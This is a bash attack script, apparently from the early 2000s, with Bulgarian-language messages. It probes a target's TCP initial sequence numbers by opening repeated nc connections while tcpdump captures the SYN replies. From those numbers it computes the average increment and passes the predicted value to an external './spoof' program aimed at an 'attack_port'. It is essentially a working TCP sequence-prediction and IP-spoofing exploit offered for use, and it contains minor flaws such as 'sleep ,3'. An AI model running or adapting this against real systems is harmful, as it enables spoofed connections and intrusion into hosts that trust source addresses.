#!/bin/bash
#
#  An Emperical Approach to TCP/IP Sequence Number Analysis
#  --------------------------------------------------------
#
#  This utility is free software; you can redistribute it and/or
#  modify it under the terms of the GNU Lesser General Public
#  License as published by the Free Software Foundation; either
#  version 2 of the License, or (at your option) any later version.
#
#  (C) 2001 Michal Zalewski <lcamtuf@razor.bindview.com>
#  (C) 2003 Vasil Kolev <vasil@ludost.net>
# 



if [ "$4" = "" ]; then
  echo "Начин на ползване: $0 host open_port count sleep source source_port attack_port "
  echo
  exit 1
fi

count=$3
slp=$4
src=$5
srcp=$6
atp=$7

( tcpdump -vv -c $count -ln "tcp and src host $1 and src port $2 and tcp[tcpflags] & tcp-syn != 0" 2>/dev/null |cut -d \] -f 2-  |cut -d : -f 1 >logfile  ) &
   
sleep 1

CNT=0
echo Започвам да отварям връзки:
while [ "$CNT" -lt "$count" ]; do
  CNT=$[CNT+1]
  nc -z $1 $2
  sleep $slp
  echo -n $CNT.
done
echo 
sleep ,3 
echo Завърших.
unset tmp
for i in `cat logfile`; do
	if [ -z "$tmp" ]; then
		tmp=$i
		echo $tmp
		first=$tmp
	else
		let ofs=$i-$tmp
		tmp=$i
		echo $tmp "   " $ofs
	fi
done
let diff=$i-$first
let median=$diff/\($count-1\)
let need=$median*10
echo Първи ISN $first Последен $i Разлика $diff Средноаритметично $median Нужни проби $need

echo ./spoof $src $srcp $1 $atp $i $need
./spoof $src $srcp $1 $atp $i $need
